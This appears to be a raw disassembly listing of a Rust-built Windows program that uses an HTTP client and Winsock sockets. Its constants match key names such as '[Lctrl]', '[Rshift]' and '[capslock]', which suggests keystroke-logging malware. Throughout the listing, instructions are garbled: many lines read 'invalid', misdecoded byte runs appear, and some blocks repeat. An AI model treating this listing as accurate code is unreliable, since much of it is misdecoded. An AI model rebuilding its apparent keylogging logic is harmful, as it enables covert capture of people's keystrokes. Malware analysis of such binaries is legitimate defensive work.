jne 0x14000cdd0
mov rax, qword [rbx + 0x20]
mov rcx, qword [rbx + 0x28]
call qword [rax + reloc.WS2_32.dll_recv]
lock dec qword [rbx]
jne 0x14000a972
mov rcx, rbx
call fcn.140113e80
jmp 0x14000a972
mov rcx, r12
call fcn.140114690
call fcn.140165b30
ud2
mov ecx, 8
mov edx, 0x60
call fcn.14015d7f0
ud2
add rcx, 0x10
xor edx, edx
call fcn.1401304f0
lea rax, str.too_many_running_threads_in_thread_scope
mov qword [rbp + 0xa90], rax
mov qword [rbp + 0xa98], 1
lea rax, [0x140204680]
mov qword [rbp + 0xaa0], rax
pxor xmm0, xmm0
movdqu xmmword [rbp + 0xaa8], xmm0
lea rdx, str.library_std_src_thread_scoped.rs
jmp 0x14000de5d
lea rcx, str.core_thread_exited_early_
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.22_src_blockingclient.rsthread_not_dropped_yet
mov edx, 0x18
call fcn.140161290
ud2
mov ecx, 1
mov edx, 2
call fcn.14015d7f0
ud2
lea r8, [0x1401daa40]
call fcn.140160e60
ud2
mov qword [rbp + 0xa90], r14
movaps xmm0, xmmword [rbp + 0x260]
movaps xmm1, xmmword [rbp + 0x270]
movaps xmm2, xmmword [rbp + 0x280]
movaps xmm3, xmmword [rbp + 0x290]
movups xmmword [rbp + 0xa98], xmm0
movups xmmword [rbp + 0xaa8], xmm1
movups xmmword [rbp + 0xab8], xmm2
movups xmmword [rbp + 0xac8], xmm3
movaps xmm0, xmmword [rbp + 0x2a0]
movups xmmword [rbp + 0xad8], xmm0
movaps xmm0, xmmword [rbp + 0x2b0]
movups xmmword [rbp + 0xae8], xmm0
movaps xmm0, xmmword [rbp + 0x2c0]
movups xmmword [rbp + 0xaf8], xmm0
movaps xmm0, xmmword [rbp + 0x2d0]
movups xmmword [rbp + 0xb08], xmm0
mov eax, dword [rbp + 0x1094]
mov dword [rbp + 0xb18], eax
mov eax, dword [rbp + 0x10a4]
mov dword [rbp + 0xb1c], eax
mov eax, dword [rbp + 0x1070]
mov dword [rbp + 0xb20], eax
mov eax, dword [rbp + 0x1068]
mov dword [rbp + 0xb24], eax
mov rax, qword [rbp + 0x10b8]
mov qword [rbp + 0xb28], rax
mov rax, qword [rbp + 0x1080]
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0x10c0]
mov qword [rbp + 0xb38], rax
movzx eax, word [rbp + 0x1030]
mov word [rbp + 0xb40], ax
movzx eax, word [rbp + 0x1010]
mov word [rbp + 0xb42], ax
mov eax, dword [rbp + 0xffc]
mov dword [rbp + 0xb44], eax
mov eax, dword [rbp + 0xff8]
mov dword [rbp + 0xb48], eax
mov eax, dword [rbp + 0xfe0]
mov dword [rbp + 0xb4c], eax
mov eax, dword [rbp + 0x1090]
mov dword [rbp + 0xb50], eax
mov eax, dword [rbp + 0xfa8]
mov dword [rbp + 0xb54], eax
movzx eax, byte [rbp + 0x630]
mov byte [rbp + 0xb68], al
movaps xmm0, xmmword [rbp + 0x620]
movups xmmword [rbp + 0xb58], xmm0
mov eax, dword [rbp + 0x1043]
mov dword [rbp + 0xb6c], eax
mov eax, dword [rbp + 0x1040]
mov dword [rbp + 0xb69], eax
mov qword [rbp + 0xb70], r13
mov dword [rbp + 0xb78], r12d
mov eax, dword [rbp + 0xee0]
mov dword [rbp + 0xb9c], eax
movaps xmm0, xmmword [rbp + 0xec0]
movaps xmm1, xmmword [rbp + 0xed0]
movups xmmword [rbp + 0xb7c], xmm0
movups xmmword [rbp + 0xb8c], xmm1
mov rax, qword [rbp + 0x10b0]
mov qword [rbp + 0xba0], rax
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.22_src_blockingclient.rsthread_not_dropped_yet
mov qword [rsp + 0x20], rax
lea rcx, str.core_thread_panicked
lea r9, [0x1401d4c18]
add byte [rbp + rcx*4 - 0x7b], cl
nop
or al, byte [rax]
add byte [rdx + 0x14], bh
add byte [rbp + rcx*4 - 0x7b], cl
nop
or al, byte [rax]
add byte [rdx + 0x14], bh
call fcn.140161200
ud2
lock dec qword [r14]
jne 0x14000d069
mov rcx, qword [rbp + 0xa90]
call fcn.140138e80
lea rax, str.library_std_src_threadlocal.rs
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_src_threadlocal.rs
lea r9, [0x1401dad90]
lea r8, [rbp + 0x1040]
mov edx, 0x46
call fcn.140161200
ud2
lea rax, [0x1401d8b98]
mov qword [rsp + 0x20], rax
lea rcx, str.has_authority_means_set_username_shouldnt_failC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.22_src_async_impl_request.rs
jmp case.0x140008ac4.225
lea rax, [0x1401d8be0]
mov qword [rsp + 0x20], rax
lea rcx, str.has_authority_means_set_password_shouldnt_fail
lea r9, [0x1401d4b58]
lea r8, [rbp + 0x1040]
mov edx, 0x2f
call fcn.140161200
ud2
mov ecx, 1
mov edx, 6
call fcn.14015d7f0
ud2
movups xmm0, xmmword [rbp + 0xa98]
movaps xmmword [rbp + 0xec0], xmm0
lea rax, [rbp + 0x70]
mov qword [rbp + 0x100], rax
lea rax, [0x1400a3580]
mov qword [rbp + 0x108], rax
add byte [rax - 0x73], cl
test eax, eax
invalid
add byte [rax], al
mov qword [rbp + 0x110], rax
lea rax, [0x14009a1d0]
mov qword [rbp + 0x118], rax
lea rax, [0x1401bb300]
mov qword [rbp + 0x920], rax
mov qword [rbp + 0x928], 2
add al, byte [rax]
add byte [rax], al
add byte [rax - 0x73], cl
test eax, eax
invalid
add al, byte [rax]
add byte [rax], al
mov qword [rbp + 0x940], 0
lea rax, [rbp + 0x100]
mov qword [rbp + 0x930], rax
mov qword [rbp + 0x938], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fmime_guess_2.0.4_srclib.rs
lea rcx, [rbp + 0x920]
call fcn.140160e20
ud2
mov ecx, 7
int 0x29
ud2
ud2
mov edx, 0x2b
call fcn.140161200
ud2
cmp r13d, 4
jne 0x14000d208
test rdi, rdi
jne 0x14000f272
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14000d1d0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000de8d
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, WSAStartup
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000de8d
mov rsi, rax
mov qword [rax + 0x58], 1
lea rax, [0x1401d2fd0]
mov qword [rsi + 0x60], rax
mov word [rsi + 0x68], 1
jmp 0x14000f294
lock inc qword [r14]
jle 0x14000e5e1
lea rcx, [rbp + 0x70]
lea rdx, [rbp + 0xec0]
mov r8d, 0x88
call sub.VCRUNTIME140.dll_memcpy
cmp qword [rbp + 0x10c0], 0
je 0x14000f346
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, qword [rbp + 0x618]
test dword [rax], ebx
invalid
add byte [rax], al
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14000f346
test dword [rax], ebx
invalid
lea rsi, [rbx + 0x18]
cmp qword [rbx + 0x18], 0
je 0x14000d26f
mov r8, qword [rbx + 0x10]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rbx + 0x10], 1
pxor xmm0, xmm0
movdqu xmmword [rsi], xmm0
adc byte [r9], al
add byte [rax], al
add byte [rsi + 0xf], ah
out dx, eax
sal bl, 0xf
jg 0x14000d285
mov qword [rbp + 0xa90], 0
mov rax, qword [0x140215050]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
add eax, 0x207dbf
lea rcx, [rbp + 0xa90]
call rax
mov rax, qword [rbp + 0xa90]
test dword [rax + 0x4800000a], edx
mov dword [rbx], eax
test dword [rax + 0x4800000a], edx
mov dword [rbx], eax
movzx eax, byte [r12]
lea rcx, [rax - 2]
cmp rcx, 4
jae 0x14000d306
mov r8, qword [r12 + 0x20]
test r8, r8
je 0x14000d2d4
cmp qword [r12 + 0x28], 0
je 0x14000d2d4
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
movaps xmm6, xmmword [rbp + 0x10e0]
movaps xmm7, xmmword [rbp + 0x10f0]
mov ch, 0xe0
adc byte [rax], al
add byte [rdi], cl
sub byte [rbp + 0x10f0], bh
movaps xmm8, xmmword [rbp + 0x1100]
movaps xmm9, xmmword [rbp + 0x1110]
add rsp, 0x11a8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
cmp eax, 1
jne 0x14000d521
mov rax, qword [r12 + 4]
mov qword [rbp - 0x50], rax
lea rax, [rbp - 0x50]
mov qword [rbp + 0x920], rax
lea rax, [0x1400a1b60]
mov qword [rbp + 0x928], rax
lea rax, [0x140204aa8]
mov qword [rbp + 0xa90], rax
mov qword [rbp + 0xa98], 1
mov qword [rbp + 0xab0], 0
lea rax, [rbp + 0x920]
test dword [rax], esp
or dword [rax], eax
add byte [rax - 0x77], cl
test dword [rax + 0x4800000a], esp
mov dword [rbp + 0xaa8], 1
test dword [rax], esp
or dword [rax], eax
add byte [rax - 0x77], cl
test dword [rax + 0x4800000a], esp
mov dword [rbp + 0xaa8], 1
lea rsi, [rbp + 0x260]
lea rdx, [rbp + 0xa90]
mov rcx, rsi
call fcn.140014120
lea rcx, [rbp + 0xa90]
mov rdx, rsi
call fcn.1400065f0
mov rsi, qword [rbp + 0xa90]
or al, byte [rax]
add byte [rax - 0x75], cl
test dword [rax + 0x4800000a], esp
add eax, 0xfffffff9
or al, byte [rax]
add byte [rax - 0x75], cl
test dword [rax + 0x4800000a], esp
add eax, 0xfffffff9
cmp rax, 4
ja case.default.0x14000d3bd
lea rcx, [0x140208044]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov ecx, 0x74634c5b
xor ecx, dword [rsi]
mov eax, 0x5d6c7274
mov edx, dword [rsi + 3]
xor edx, eax
or edx, ecx
je 0x14000d3e6
mov ecx, 0x7463525b
xor ecx, dword [rsi]
xor eax, dword [rsi + 3]
or eax, ecx
jne case.default.0x14000d3bd
mov byte [rbx + 0x42], 0
mov rax, qword [rbp + 0xa98]
test rax, rax
jne 0x14000d50a
jmp 0x14000d2b3
movabs rax, 0x5d74666968734c5b
je 0x14000d466
cmp qword [rsi], rax
je 0x14000d421
movabs rax, 0x5d7466696873525b
cmp qword [rsi], rax
jne case.default.0x14000d3bd
mov byte [rbx + 0x40], 0
mov rax, qword [rbp + 0xa98]
test rax, rax
add byte [rax - 0x75], cl
test dword [rax + 0x4800000a], ebx
test eax, eax
jne 0x14000d50a
jmp 0x14000d2b3
movabs rax, 0x6e6f6974706f4c5b
xor rax, qword [rsi]
movzx ecx, byte [rsi + 8]
xor rcx, 0x5d
or rcx, rax
je 0x14000d472
movabs rax, 0x6e6f6974706f525b
mov eax, 0x706f525b
je 0x14000d4c5
push rdx
outsd dx, dword [rsi]
jo 0x14000d4cf
imul ebp, dword [rdi + 0x6e], 0xf063348
mov dh, 0x4e
or byte [rax - 0x7d], cl
int1
pop rbp
outsd dx, dword [rsi]
outsb dx, byte [rsi]
xor rax, qword [rsi]
movzx ecx, byte [rsi + 8]
xor rcx, 0x5d
xor ecx, 0x5d
or rcx, rax
jne case.default.0x14000d3bd
mov byte [rbx + 0x43], 0
mov rax, qword [rbp + 0xa98]
test rax, rax
jne 0x14000d50a
jmp 0x14000d2b3
invalid
movabs rax, 0x636f6c737061635b
xor rax, qword [rsi]
movzx ecx, word [rsi + 8]
xor rcx, 0x5d6b
or rcx, rax
jne case.default.0x14000d3bd
xor byte [rbx + 0x41], 1
mov rax, qword [rbp + 0xa98]
test rax, rax
jne 0x14000d50a
jmp 0x14000d2b3
movabs rcx, 0x6974636e75664c5b
je 0x14000d530
xor rcx, qword [rsi]
movabs rax, 0x5d6e6f6974636e75
je 0x14000d53a
outsd dx, dword [rsi]
outsb dx, byte [rsi]
pop rbp
mov rdx, qword [rsi + 3]
xor rdx, rax
or rdx, rcx
je 0x14000d4f6
movabs rcx, 0x6974636e7566525b
xor rcx, qword [rsi]
xor rax, qword [rsi + 3]
or rax, rcx
jne case.default.0x14000d3bd
mov byte [rbx + 0x44], 0
mov rax, qword [rbp + 0xa98]
test rax, rax
je 0x14000d2b3
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14000d2b3
mov rax, qword [r12 + 4]
mov qword [rbp - 0x50], rax
lea rax, [rbp - 0x50]
mov qword [rbp + 0x920], rax
lea rax, [0x1400a1b60]
test dword [rax], esp
or dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0x94624
or dword [rax], eax
mov qword [rbp + 0x928], rax
lea rax, [0x140204aa8]
mov qword [rbp + 0xa90], rax
mov qword [rbp + 0xa98], 1
or al, byte [rax]
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax + 0xa], esi
add byte [rax], al
add byte [rax - 0x73], cl
test dword [rax], esp
or dword [rax], eax
add byte [rax - 0x77], cl
test dword [rax + 0x4800000a], esp
mov dword [rbp + 0xaa8], 1
or al, byte [rax]
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax + 0xa], esi
add byte [rax], al
add byte [rax - 0x73], cl
test dword [rax], esp
or dword [rax], eax
add byte [rax - 0x77], cl
test dword [rax + 0x4800000a], esp
mov dword [rbp + 0xaa8], 1
lea rsi, [rbp + 0x260]
add byte [rax], al
lea rdx, [rbp + 0xa90]
mov rcx, rsi
xchg ebp, eax
nop
or al, byte [rax]
add byte [rax - 0x77], cl
int1
call fcn.140014120
lea rcx, [rbp + 0xa90]
mov rdx, rsi
call fcn.1400065f0
mov rsi, qword [rbp + 0xa90]
mov rdi, qword [rbp + 0xaa0]
or al, byte [rax]
add byte [rax - 0x73], cl
stc
or al, byte [rax]
add byte [rax - 0x73], cl
stc
cmp rax, 4
ja case.default.0x14000d5cf
clc
add al, 0xf
xchg dword [0x18800d5c3], eax
lea ecx, [0x140208058]
lea rcx, [0x140208058]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov ecx, 0x74634c5b
xor ecx, dword [rsi]
mov eax, 0x5d6c7274
mov edx, dword [rsi + 3]
xor edx, eax
or edx, ecx
je 0x14000d5f8
mov ecx, 0x7463525b
xor ecx, dword [rsi]
xor eax, dword [rsi + 3]
or eax, ecx
jne case.default.0x14000d5cf
je 0x14000d61f
invalid
mov byte [rbx + 0x42], 1
jmp case.default.0x14000d5cf
movabs rax, 0x5d74666968734c5b
cmp qword [rsi], rax
invalid
je 0x14000d623
invalid
movabs rax, 0x5d7466696873525b
cmp qword [rsi], rax
jne case.default.0x14000d5cf
invalid
invalid
add byte [rax], al
invalid
test dword [rbx - 0x3a000000], esp
add ecx, ebp
movabs dword [0xe9014043c6000000], eax
mov byte [rbx + 0x40], 1
jmp case.default.0x14000d5cf
invalid
movabs rax, 0x6e6f6974706f4c5b
xor rax, qword [rsi]
movzx ecx, byte [rsi + 8]
xor rcx, 0x5d
or rcx, rax
je 0x14000d660
movabs rax, 0x6e6f6974706f525b
xor rax, qword [rsi]
movzx ecx, byte [rsi + 8]
xor rcx, 0x5d
or rcx, rax
jne case.default.0x14000d5cf
mov byte [rbx + 0x43], 1
jmp case.default.0x14000d5cf
movabs rax, 0x636f6c737061635b
xor rax, qword [rsi]
movzx ecx, word [rsi + 8]
xor rcx, 0x5d6b
or rcx, rax
jne case.default.0x14000d5cf
xor byte [rbx + 0x41], 1
jmp case.default.0x14000d5cf
movabs rcx, 0x6974636e75664c5b
xor rcx, qword [rsi]
movabs rax, 0x5d6e6f6974636e75
mov rdx, qword [rsi + 3]
xor rdx, rax
or rdx, rcx
je 0x14000d6c2
movabs rcx, 0x6974636e7566525b
xor rcx, qword [rsi]
xor rax, qword [rsi + 3]
or rax, rcx
jne case.default.0x14000d5cf
mov byte [rbx + 0x44], 1
mov qword [rbp + 0x1078], r12
mov r13, qword [rbp + 0xa98]
mov qword [rbp + 0xa90], 0
mov rax, qword [0x140215050]
lea rcx, [rbp + 0xa90]
call rax
mov rax, qword [rbp + 0xa90]
mov qword [rbx], rax
movzx eax, byte [rbx + 0x40]
mov byte [rbp + 0x10d0], al
mov qword [rbp + 0xfd0], rbx
movzx eax, byte [rbx + 0x41]
mov byte [rbp + 0x10a8], al
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0x70], 0
jne 0x14000d736
call fcn.140077390
lea rax, [0x1401dea30]
mov qword [rbp + 0xa90], rax
lea r8, [rbp + 0xab0]
pxor xmm0, xmm0
movdqu xmmword [rbp + 0xa98], xmm0
mov qword [rbp + 0xaa8], 0
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movdqu xmm0, xmmword [rax + 0x78]
inc qword [rax + 0x78]
movdqu xmmword [rbp + 0xab0], xmm0
lea r14, [rbp + 0xa90]
mov edx, setsockopt
mov rcx, r14
call fcn.14015ce20
mov qword [rsp + 0x20], 1
lea rdx, [0x1401691be]
lea r9, [0x1401da3b1]
mov r8d, 1
mov rcx, r14
call fcn.1400063e0
mov qword [rsp + 0x20], 1
lea rdx, [0x1401691bf]
lea r9, [0x1401da0b6]
mov r8d, 1
mov rcx, r14
call fcn.1400063e0
mov qword [rsp + 0x20], 1
lea rdx, [0x1401691c0]
lea r9, [0x1401da478]
mov r8d, 1
mov rcx, r14
call fcn.1400063e0
mov qword [rsp + 0x20], 1
lea rdx, [0x1401691c1]
lea r9, str._srclibmod.rs
mov r8d, 1
mov rcx, r14
call fcn.1400063e0
mov qword [rsp + 0x20], 1
lea rdx, [0x1401691c2]
lea r9, [0x14016caa0]
mov r8d, 1
mov rcx, r14
call fcn.1400063e0
mov qword [rsp + 0x20], 1
lea rdx, [0x1401691c3]
lea r9, [0x140169341]
mov r8d, 1
mov rcx, r14
call fcn.1400063e0
mov qword [rsp + 0x20], 1
lea rdx, [0x1401691c4]
lea r9, [0x1401da0b4]
mov r8d, 1
mov rcx, r14
call fcn.1400063e0
mov qword [rsp + 0x20], 1
lea rdx, [0x1401691c5]
lea r9, [0x1401da0b5]
mov r8d, 1
mov rcx, r14
call fcn.1400063e0
mov qword [rsp + 0x20], 1
lea rdx, [0x1401691c6]
lea r9, [0x1401da0b1]
mov r8d, 1
mov rcx, r14
call fcn.1400063e0
mov qword [rsp + 0x20], 1
lea rdx, [0x1401da249]
lea r9, [0x1401dff48]
mov r8d, 1
mov rcx, r14
call fcn.1400063e0
mov qword [rsp + 0x20], 1
lea rdx, [0x140204aa0]
lea r9, [0x1401da4d2]
mov r8d, 1
mov rcx, r14
call fcn.1400063e0
mov qword [rsp + 0x20], 1
lea rdx, [0x140204aa1]
lea r9, [0x1401dc0ab]
mov r8d, 1
mov rcx, r14
call fcn.1400063e0
mov qword [rsp + 0x20], 1
lea rdx, [0x140204f08]
lea r9, str._for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 1
mov rcx, r14
call fcn.1400063e0
mov qword [rsp + 0x20], 1
lea rdx, [0x1401d9ac3]
lea r9, [0x14016c6f9]
mov r8d, 1
mov rcx, r14
call fcn.1400063e0
mov qword [rsp + 0x20], 1
lea rdx, [0x1401d97b0]
lea r9, str.If_App::_build_hasnt_been_called__manually_search_through_Arg_shorts
mov r8d, 1
mov rcx, r14
call fcn.1400063e0
mov qword [rsp + 0x20], 1
lea rdx, [0x1401da461]
lea r9, str._C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_srcutilwake_list.rs
mov r8d, 1
mov rcx, r14
call fcn.1400063e0
mov qword [rsp + 0x20], 1
lea rdx, str._____
lea r9, [0x1401da0b3]
mov r8d, 1
mov rcx, r14
call fcn.1400063e0
mov qword [rsp + 0x20], 1
lea rdx, [0x1401dba80]
lea r9, [0x1401da0b2]
mov r8d, 1
mov rcx, r14
call fcn.1400063e0
mov qword [rsp + 0x20], 1
lea rdx, [0x14016d0a1]
lea r9, [0x140169342]
mov r8d, 1
mov rcx, r14
call fcn.1400063e0
mov qword [rsp + 0x20], 1
lea rdx, [0x1401de1f8]
lea r9, [0x1401da3b2]
mov r8d, 1
mov rcx, r14
mov r14d, 1
call fcn.1400063e0
mov r12, qword [rbp + 0xa90]
mov rbx, qword [rbp + 0xa98]
mov r15, qword [rbp + 0xaa8]
mov rax, qword [rbp + 0xab0]
mov qword [rbp + 0x10b0], rax
mov rax, qword [rbp + 0xab8]
mov qword [rbp + 0x1098], rax
test rdi, rdi
je 0x14000dae6
js 0x140011385
movzx eax, byte [0x1402153f8]
mov edx, 1
mov rcx, rdi
call fcn.140013830
mov r14, rax
test rax, rax
je 0x140010902
mov qword [rbp + 0x10b8], r13
mov qword [rbp + 0x10c8], r14
mov rcx, r14
mov rdx, rsi
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
cmp byte [rbp + 0x10d0], 0
je 0x14000dce2
test r15, r15
je 0x14000dcf1
mov rcx, qword [rbp + 0x10b0]
mov rdx, qword [rbp + 0x1098]
mov r8, rsi
mov r9, rdi
call fcn.140004500
mov r13, rax
shr rax, 0x39
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm6, xmm0, 0
xor r14d, r14d
pcmpeqd xmm7, xmm7
and r13, rbx
movdqu xmm8, xmmword [r12 + r13]
movdqa xmm0, xmm6
pcmpeqb xmm0, xmm8
pmovmskb r15d, xmm0
test r15d, r15d
jne 0x14000db9f
pcmpeqb xmm8, xmm7
pmovmskb eax, xmm8
test eax, eax
jne 0x14000dce2
add r13, r14
add r13, 0x10
add r14, 0x10
jmp 0x14000db51
lea eax, [r15 - 1]
and eax, r15d
mov r15d, eax
test ax, ax
je 0x14000db6d
tzcnt ecx, r15d
add rcx, r13
and rcx, rbx
shl rcx, 5
mov rax, r12
sub rax, rcx
cmp qword [rax - 0x18], rdi
jne 0x14000db90
mov rdx, qword [rax - 0x20]
mov rcx, rsi
mov r8, rdi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14000db90
mov rcx, qword [rbp + 0x10b0]
mov rdx, qword [rbp + 0x1098]
mov r8, rsi
mov r9, rdi
call fcn.140004500
mov r15, rax
shr rax, 0x39
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm6, xmm0, 0
xor eax, eax
mov qword [rbp + 0x10d0], rax
pcmpeqd xmm7, xmm7
and r15, rbx
movdqu xmm8, xmmword [r12 + r15]
movdqa xmm0, xmm6
pcmpeqb xmm0, xmm8
pmovmskb r13d, xmm0
test r13d, r13d
jne 0x14000dc6f
pcmpeqb xmm8, xmm7
pmovmskb eax, xmm8
test eax, eax
jne 0x14000de30
mov rax, qword [rbp + 0x10d0]
add r15, rax
add r15, 0x10
add rax, 0x10
mov qword [rbp + 0x10d0], rax
jmp 0x14000dc0c
lea eax, [r13 - 1]
and eax, r13d
mov r13d, eax
test ax, ax
je 0x14000dc28
tzcnt eax, r13d
add rax, r15
and rax, rbx
shl rax, 5
mov r14, r12
sub r14, rax
cmp qword [r14 - 0x18], rdi
jne 0x14000dc60
mov rdx, qword [r14 - 0x20]
mov rcx, rsi
mov r8, rdi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14000dc60
mov rdx, qword [r14 - 0x10]
mov r15, qword [r14 - 8]
test r15, r15
je 0x14000dd41
js 0x140011385
mov r14, rdx
movzx eax, byte [0x1402153f8]
mov edx, 1
mov rcx, r15
call fcn.140013830
mov r13, rax
test rax, rax
mov rdx, r14
mov r14, qword [rbp + 0x10c8]
jne 0x14000dd4e
jmp 0x140010a1f
movzx eax, byte [rbp + 0x10a8]
or al, byte [rbp + 0x10d0]
je 0x14000dd35
lea rcx, [rbp + 0xa90]
mov rdx, rsi
mov r8, rdi
call fcn.1400144b0
test rdi, rdi
je 0x14000dd1e
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, qword [rbp + 0x10c8]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r13, qword [rbp + 0xa90]
mov r15, qword [rbp + 0xa98]
mov rdi, qword [rbp + 0xaa0]
jmp 0x14000dd73
mov r13, qword [rbp + 0x10c8]
mov r15, rdi
jmp 0x14000dd73
mov r13d, 1
mov r14, qword [rbp + 0x10c8]
mov rcx, r13
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
test rdi, rdi
je 0x14000dd70
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rdi, r15
test rbx, rbx
je 0x14000dda1
mov rax, rbx
shl rax, 5
add rbx, rax
cmp rbx, 0xffffffffffffffcf
je 0x14000dda1
sub r12, rax
add r12, 0xffffffffffffffe0
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r12
call qword [sym.imp.KERNEL32.dll_HeapFree]
test r13, r13
je 0x14000de4a
mov rcx, qword [rbp + 0xfd0]
mov rax, qword [rcx + 0x18]
mov rbx, qword [rcx + 0x20]
sub rax, rbx
cmp rax, rdi
mov r12, qword [rbp + 0x1078]
jb 0x14000de14
mov r14, qword [rbp + 0xfd0]
mov rcx, qword [r14 + 0x10]
add rcx, rbx
mov rdx, r13
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
add rbx, rdi
mov qword [r14 + 0x20], rbx
test r15, r15
je 0x14000ddff
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r13
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rbp + 0x10b8]
test rax, rax
jne 0x14000d50a
jmp 0x14000d2b3
mov r14, qword [rbp + 0xfd0]
lea rcx, [r14 + 0x10]
mov rdx, rbx
mov r8, rdi
call fcn.14015cc80
mov rbx, qword [r14 + 0x20]
jmp 0x14000ddc8
lea rcx, str.no_entry_found_for_keysrclibwin.rs
lea r8, [0x140169358]
mov edx, reloc.WS2_32.dll_shutdown
call fcn.140161290
ud2
mov qword [rbp + 0xa90], r15
lea rax, [0x140169328]
jmp 0x14001113b
lea rcx, [rbp + 0xa90]
call fcn.140160e20
ud2
mov ecx, 8
mov edx, 8
call fcn.14015d7f0
ud2
mov ecx, 8
mov edx, 0x30
call fcn.14015d7f0
ud2
mov ecx, 8
mov edx, WSAStartup
call fcn.14015d7f0
ud2
lea rax, str.overflow_in_Duration::new
mov qword [rbp + 0xa90], rax
add byte [rax], al
add byte [rax], al
mov qword [rbp + 0xa98], 1
lea rax, [0x140204680]
mov qword [rbp + 0xaa0], rax
pxor xmm0, xmm0
movdqu xmmword [rbp + 0xaa8], xmm0
lea rdx, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_time.rs
jmp 0x14000de5d
ud2
invalid
mov edx, 0x23
call fcn.140160fb0
ud2
xchg dword [rax + rax], ebx
lea rsi, [rbp + 0x260]
lea r9, [rbp + 0x1040]
mov r8d, 2
mov rcx, rsi
call fcn.140144a40
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
mov rcx, rsi
call fcn.140160e20
ud2
call fcn.14013adc0
xor ecx, ecx
cmp edx, 0x3b9aca00
cmove edx, ecx
cmovne rcx, rax
call fcn.1401306f0
movzx eax, byte [rbp + 0xae1]
lea rcx, [0x140207cf8]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rsi, rdi
cmp dword [rdi], 2
je 0x14000f294
cmp qword [rsi + 0x18], 0
je 0x14000f294
mov r8, qword [rsi + 0x10]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [rbp + 0x1094]
mov dword [rsi], eax
mov eax, dword [rbp + 0x10a4]
mov dword [rsi + 4], eax
mov eax, dword [rbp + 0x1070]
mov dword [rsi + 8], eax
mov eax, dword [rbp + 0x1068]
mov dword [rsi + 0xc], eax
mov rax, qword [rbp + 0x618]
mov qword [rsi + 0x10], rax
mov rax, qword [rbp + 0x10c0]
mov qword [rsi + 0x18], rax
mov qword [rsi + 0x20], rax
movzx eax, word [rbp + 0x1030]
mov word [rsi + 0x28], ax
movzx eax, word [rbp + 0x1010]
mov word [rsi + 0x2a], ax
mov eax, dword [rbp + 0xffc]
mov dword [rsi + 0x2c], eax
mov eax, dword [rbp + 0xff8]
mov dword [rsi + 0x30], eax
mov eax, dword [rbp + 0xfe0]
mov dword [rsi + 0x34], eax
mov eax, dword [rbp + 0x1090]
mov dword [rsi + 0x38], eax
mov eax, dword [rbp + 0xfa8]
mov dword [rsi + 0x3c], eax
movdqa xmm0, xmmword [rbp + 0xa70]
movdqu xmmword [rsi + 0x40], xmm0
movzx eax, byte [rbp + 0xa80]
mov byte [rsi + 0x50], al
mov eax, dword [rbp + 0xa90]
mov ecx, dword [rbp + 0xa93]
mov dword [rsi + 0x51], eax
mov rdi, rsi
mov dword [rsi + 0x54], ecx
mov r13d, 3
cmp r15d, 2
mov r15, rdi
jne 0x14000f39e
mov rax, qword [rbp + 0x728]
cmp eax, 2
je 0x14000f39e
mov rsi, qword [rbp + 0x718]
mov rdi, qword [rbp + 0x720]
mov rcx, rsi
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x14000f392
cmp qword [rdi + 0x10], 0x11
jb 0x14000f380
mov rsi, qword [rsi - 8]
